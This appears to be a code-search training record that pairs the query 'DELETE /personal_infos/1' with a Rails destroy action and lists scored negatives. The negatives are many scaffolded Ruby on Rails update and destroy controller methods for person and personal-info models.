"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to admin_person_url(@person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personaje_mision = PersonajeMision.find(params[:id])\n\n respond_to do |format|\n if @personaje_mision.update_attributes(params[:personaje_mision])\n format.html { redirect_to @personaje_mision, notice: 'Personaje mision was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personaje_mision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n if @missing_person.update_attributes(params[:missing_person])\n format.html { redirect_to @missing_person, notice: 'Missing person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @missing_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona = Persona.find(params[:persona_id])\n respond_to do |format|\n if @persona.info_contacto.update(info_contacto_params)\n format.html { redirect_to @info_contacto, notice: 'Info contacto was successfully updated.' }\n format.json { render :show, status: :ok, location: @info_contacto }\n else\n format.html { render :edit }\n format.json { render json: @info_contacto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html do\n redirect_to @person, notice: 'Person was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json do\n render json: @person.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n @patient = Patient.find(params[:id])\n\n respond_to do |format|\n if @patient.update_attributes(params[:patient].except(:person_attributes))\n format.html { redirect_to people_url, notice: 'Patient was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n case params[:type]\n when \"Coordinator\" \n @person.update_attributes(params[:coordinator])\n when \"Professor\"\n puts \"zicaaaaaa\" \n puts params[:professor]\n @person.update_attributes(params[:professor])\n puts @person.name\n when \"Student\"\n @person.update_attributes(params[:student])\n end\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n\n path = people_path\n msg = 'Person was successfully updated.'\n if @participant\n path = participant_path(@participant, :anchor => \"relationships_tab\")\n msg = 'Person was successfully updated.'\n end\n if @provider\n path = provider_path(@provider)\n msg = \"Person was successfully updated for #{@provider}.\"\n end\n\n format.html { redirect_to(path, :notice => msg) }\n format.json { render :json => @person }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n params[:person][:contact_infos_attributes].try( :delete, 'template' )\n if @person.update( person_params )\n format.html { redirect_to @person, notice: t( 'people.msg.edit_ok' )}\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @people.user_updated_id = current_user.id\n respond_to do |format|\n if @people.update(people_params)\n format.html { redirect_to @people, notice: 'Persona actualizada con éxito.' }\n format.json { render :show, status: :ok, location: @people }\n else\n format.html { render :edit }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dealerpersonalinfo.update(dealerpersonalinfo_params)\n format.html { redirect_to @dealerpersonalinfo, notice: 'Dealerpersonalinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @dealerpersonalinfo }\n else\n format.html { render :edit }\n format.json { render json: @dealerpersonalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @professional_info.update(professional_info_params)\n format.html { redirect_to @professional_info, notice: 'Professional info was successfully updated.' }\n format.json { render :show, status: :ok, location: @professional_info }\n else\n format.html { render :edit }\n format.json { render json: @professional_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @persona.update(persona_params)\n format.html {redirect_to personas_url, notice: 'Persona was successfully updated.'}\n format.json {render :show, status: :ok, location: @persona}\n else\n format.html {render :edit}\n format.json {render json: @persona.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n @person.delete_offices\n @person.delete_addresses\n @person.delete_phone_numbers\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n if @tasks_person.update_attributes(params[:tasks_person])\n format.html { redirect_to @tasks_person, notice: 'Tasks person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tasks_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# @person.save\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end",
"def update\n @persona = Persona.find(params[:persona_id])\n respond_to do |format|\n if @persona.info_extra_pacientes.update(info_extra_paciente_params)\n format.html { redirect_to @info_extra_paciente, notice: 'Info extra actualizada.' }\n format.json { render :show, status: :ok, location: @info_extra_paciente }\n else\n format.html { render :edit }\n format.json { render json: @info_extra_paciente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @persona.update(persona_params)\n format.html { redirect_to @persona, notice: 'Persona was successfully updated.' }\n format.json { render :show, status: :ok, location: @persona }\n else\n format.html { render :edit }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_persona.update(tipo_persona_params)\n format.html { redirect_to @tipo_persona, notice: 'Tipo persona was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_persona }\n else\n format.html { render :edit }\n format.json { render json: @tipo_persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personal_characteristic = PersonalCharacteristic.find(params[:id])\n\n respond_to do |format|\n if @personal_characteristic.update_attributes(params[:personal_characteristic])\n format.html { redirect_to PersonalDetail.find(@personal_characteristic.personal_detail_id), notice: 'Personal characteristic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personal_characteristic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n if @type_person.update_attributes(params[:type_person])\n format.html { redirect_to @type_person, notice: 'Type person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.js {}\n format.html { redirect_to people_url, notice: \"Person #{@person.first_name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.js {}\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Cadastro atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_personalinfo\n @personalinfo = Personalinfo.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @person.update(admin_person_params)\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Person was successfully updated.'\n format.html { redirect_to people_url }\n format.xml { head :ok }\n else\n flash[:warning] = 'Please check every information that you are entering and fill the required fields.'\n format.html { render :edit }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal_bank.update(personal_bank_params)\n format.html { redirect_to @personal_bank, notice: 'Personal bank was successfully updated.' }\n format.json { render :show, status: :ok, location: @personal_bank }\n else\n format.html { render :edit }\n format.json { render json: @personal_bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = current_company.person\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n flash[:notice] = 'Dados atualizados com sucesso!'\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spr_person.update(spr_person_params)\n format.html { redirect_to @spr_person, notice: 'Spr person was successfully updated.' }\n format.json { render :show, status: :ok, location: @spr_person }\n else\n format.html { render :edit }\n format.json { render json: @spr_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n if current_user\n if current_user.user?\n current_user.person_id = @person.id\n current_user.save\n end\n end\n format.html { redirect_to @person, notice: 'Uppgifterna uppdaterades. Tack' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @politically_exposed_person.update(politically_exposed_person_params)\n format.html { redirect_to politically_exposed_people_url,\n notice: 'Politically exposed person was successfully updated.' }\n format.json { render :show, status: :ok, location: @politically_exposed_person }\n else\n format.html { render :edit }\n format.json { render json: @politically_exposed_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n NotificationMailer.new(@user).personal_details_changed\n render json: @user, status: :ok\n else\n render json: @user.errors.full_messages, status: :unprocessable_entity\n end\n end"
] | [
"0.74077535",
"0.7362165",
"0.70729995",
"0.7056774",
"0.69313616",
"0.6889697",
"0.687924",
"0.6867171",
"0.6779576",
"0.67319864",
"0.6719642",
"0.667761",
"0.6629085",
"0.6621766",
"0.6619921",
"0.6608888",
"0.6606119",
"0.6570756",
"0.64928967",
"0.648275",
"0.6455859",
"0.6454955",
"0.6453215",
"0.6453215",
"0.6453215",
"0.6453215",
"0.6453215",
"0.6446074",
"0.64454365",
"0.64419633",
"0.6431956",
"0.6431956",
"0.64318293",
"0.641862",
"0.64179623",
"0.6414736",
"0.64112943",
"0.64112943",
"0.63984907",
"0.63975435",
"0.63964623",
"0.639444",
"0.6392483",
"0.6386348",
"0.6386348",
"0.6386348",
"0.6380312",
"0.63628745",
"0.63505435",
"0.63486403",
"0.6344163",
"0.63263005",
"0.630863",
"0.6304327",
"0.63013756",
"0.63008857",
"0.6299637",
"0.62756276",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6273518",
"0.6272595",
"0.6271339",
"0.6263807",
"0.6263347",
"0.62599784",
"0.6251873",
"0.62508726",
"0.62497777",
"0.6228542",
"0.62259156",
"0.62190014",
"0.6210317",
"0.6199753",
"0.6198919",
"0.6195805",
"0.61905164",
"0.61867404",
"0.6171193",
"0.6167024",
"0.6155737",
"0.61346734",
"0.6131786",
"0.61296415",
"0.61288303",
"0.6128502",
"0.6127299",
"0.61188614",
"0.6114645",
"0.6105412",
"0.6102711",
"0.6102137",
"0.6097866",
"0.60927606",
"0.60863817"
] | 0.6553648 | 18 |
DELETE /personal_infos/1 DELETE /personal_infos/1.json | def destroy
@personal_info.destroy
respond_to do |format|
format.html { redirect_to personal_infos_url, notice: 'Personal info was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @personal_info = PersonalInfo.find(params[:id])\n @personal_info.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_info_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_info = current_user.personal_info\n @personal_info.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personalinfo.destroy\n respond_to do |format|\n format.html { redirect_to personalinfos_url, notice: 'Personalinfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal.destroy\n respond_to do |format|\n format.html { redirect_to personals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_info = PersonalInfo.find(params[:id])\n @personal_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(personal_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @information_personal.destroy\n respond_to do |format|\n format.html { redirect_to information_personals_url, notice: t('personal_info.destroy_message') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_personal_information.destroy\n respond_to do |format|\n format.html { redirect_to user_personal_informations_url, notice: 'Personal information was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_personal.destroy\n respond_to do |format|\n format.html { redirect_to datos_personals_url, notice: 'Datos personal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal = Personal.find(params[:id])\n @personal.destroy\n\n respond_to do |format|\n format.html { redirect_to(personals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @profile_personal_detail.destroy\n respond_to do |format|\n format.html { redirect_to profile_personal_details_url, notice: 'Profile personal detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @general_information = GeneralInformation.find(params[:id])\n @general_information.destroy\n\n respond_to do |format|\n format.html { redirect_to @general_information.personal_detail }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_datum.destroy\n respond_to do |format|\n format.html { redirect_to user_personal_data_url, notice: 'Personal datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person_info = PersonInfo.find(params[:id])\n @person_info.destroy\n\n head :no_content\n end",
"def destroy\n @personal_account = PersonalAccount.find(params[:id])\n @personal_account.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_accounts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n \n end",
"def destroy\n @person_info.destroy\n respond_to do |format|\n format.html { redirect_to person_infos_url, notice: 'Person info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n id = @person.id\n\n if @person.destroy\n render json: { status: 'DELETE Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error deleting person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def destroy\r\n @person_info.destroy\r\n respond_to do |format|\r\n format.html { redirect_to person_infos_url, notice: 'Person info was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy_by_body\n @person = Person.find(person_delete_param[:id])\n id = @person.id\n\n if @person.destroy\n render json: { status: 'DELETE Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error deleting person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def destroy\n @expert_personal = ExpertPersonal.find(params[:id])\n @expert_personal.destroy\n\n respond_to do |format|\n format.html { redirect_to(expert_personals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @personaje_mision = PersonajeMision.find(params[:id])\n @personaje_mision.destroy\n\n respond_to do |format|\n format.html { redirect_to personaje_misions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_profile.destroy\n respond_to do |format|\n format.html { redirect_to resume_path, notice: 'Personal profile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_rubro.destroy\n respond_to do |format|\n format.html { redirect_to personal_rubros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dealerpersonalinfo.destroy\n respond_to do |format|\n format.html { redirect_to dealerpersonalinfos_url, notice: 'Dealerpersonalinfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @contactinfo = Contactinfo.find(params[:id])\n @people_id = @contactinfo.people_id\n @contactinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to person_path(@people_id) }\n format.json { head :ok }\n end\n end",
"def destroy\n @employee_personal.destroy\n respond_to do |format|\n format.html { redirect_to employee_personals_url, notice: 'Employee personal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find((params[:person_id]))\n @person_identification_doc = PersonIdentificationDoc.find(params[:id])\n @person_identification_doc.destroy\n\n respond_to do |format|\n format.html { redirect_to person_person_identification_docs_path, :notice => 'Documentação excluída.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @career_info.destroy\n respond_to do |format|\n format.html { redirect_to action: :index, notice: 'Personal info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n head :no_content\n end",
"def destroy\n @person.destroy\n head :no_content\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.html { redirect_to personas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Клиент удален из базы.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n track_activity @person\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personaje = Personaje.find(params[:id])\n @personaje.destroy\n\n respond_to do |format|\n format.html { redirect_to personajes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona_tipo = PersonaTipo.find(params[:id])\n @persona_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to persona_tipos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @suspicious_person_info.destroy\n respond_to do |format|\n format.html { redirect_to suspicious_person_infos_url, notice: 'Suspicious person info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to admin_people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona.destroy\n respond_to do |format|\n format.html { redirect_to personas_url, notice: 'Datos personales eliminados exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_info.destroy\n respond_to do |format|\n format.html { redirect_to user_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_characteristic = PersonalCharacteristic.find(params[:id])\n @personal_characteristic.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_characteristics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile_general_detail.destroy\n respond_to do |format|\n format.html { redirect_to profile_general_details_url, notice: 'Profile general detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_bank.destroy\n respond_to do |format|\n format.html { redirect_to personal_banks_url, notice: 'Personal bank was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n ## note use of method chaining to combine find & destroy into one line\n Person.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_person = UserPerson.find(params[:id])\n @user_person.destroy\n\n respond_to do |format|\n format.html { redirect_to user_people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Uppgifterna om personen raderades.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = people_type.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => \"index\" }\n format.json { head :ok }\n end\n end",
"def destroy\n @personal_finance.destroy\n respond_to do |format|\n format.html { redirect_to personal_finances_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @people.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Persona eliminada con éxito.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @person_interest = PersonInterest.find(params[:id])\n @person_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to person_interests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n status = PersonalObjective.delete_personal_objective(@personal_objective)\n respond_to do |format|\n if status == 200\n format.html { redirect_to '/', notice: 'Personal objective was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { redirect_to '/', notice: 'Failed to destroy personal objective.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @detail = Detail.find(params[:id])\n @detail.destroy\n\n\n respond_to do |format|\n format.html { redirect_to new_detail_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:persona_id])\n @info_extra_paciente = @persona.info_extra_pacientes.find(params[:id])\n @info_extra_paciente.destroy\n respond_to do |format|\n format.html { redirect_to @persona, notice: 'Contacto Eliminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userinfo.destroy\n respond_to do |format|\n format.html { redirect_to userinfos_url, notice: 'Userinfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile_detail.destroy\n respond_to do |format|\n format.html { redirect_to profile_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @additional_information.destroy\n respond_to do |format|\n format.html { redirect_to additional_informations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person.user.destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona = Persona.find(params[:persona_id])\n @info_contacto = @persona.info_contactos.find(params[:id])\n @info_contacto.destroy\n respond_to do |format|\n format.html { redirect_to @persona, notice: 'Contacto Eliminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @info.destroy\n respond_to do |format|\n format.html { redirect_to infos_url, notice: 'Info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @info.destroy\n respond_to do |format|\n format.html { redirect_to infos_url, notice: 'Info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_person.destroy\n respond_to do |format|\n format.html { redirect_to request_people_url, notice: 'Request person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_detail.destroy\n my_details_url = eval(\"person_#{@detail.pluralize}_url\")\n \n\n respond_to do |format|\n format.html { redirect_to(my_details_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @visit_person.destroy\n respond_to do |format|\n format.html { redirect_to visit_people_url, notice: 'Visit person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @people.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Um VIP ' + @people.name.to_s + ' foi deletado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @military_history = MilitaryHistory.find(params[:id])\n @military_history.destroy\n\n respond_to do |format|\n format.html { redirect_to @military_history.personal_detail }\n format.json { head :no_content }\n end\n end",
"def delete\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n @person.destroy\n @application_session.destroy\n session[:cos_session_id] = nil\n render_json :status => :ok\n end",
"def destroy\n head 404\n # @api_v1_following = Api::V1::Follower.where('following_id =? and user_id =?', @current_user.id, params[:id]).first\n # if @api_v1_following.destroy\n # head :no_content\n # else \n # render json: { error: 'not allowed' }, status: 401\n # end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: \"Person #{@person.first_name} was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hospital_general.destroy\n respond_to do |format|\n format.html { redirect_to hospital_generals_url, notice: 'Hospital general was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @basico_persona_juridica.destroy\n respond_to do |format|\n format.html { redirect_to basico_persona_juridicas_url, notice: 'Persona juridica was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
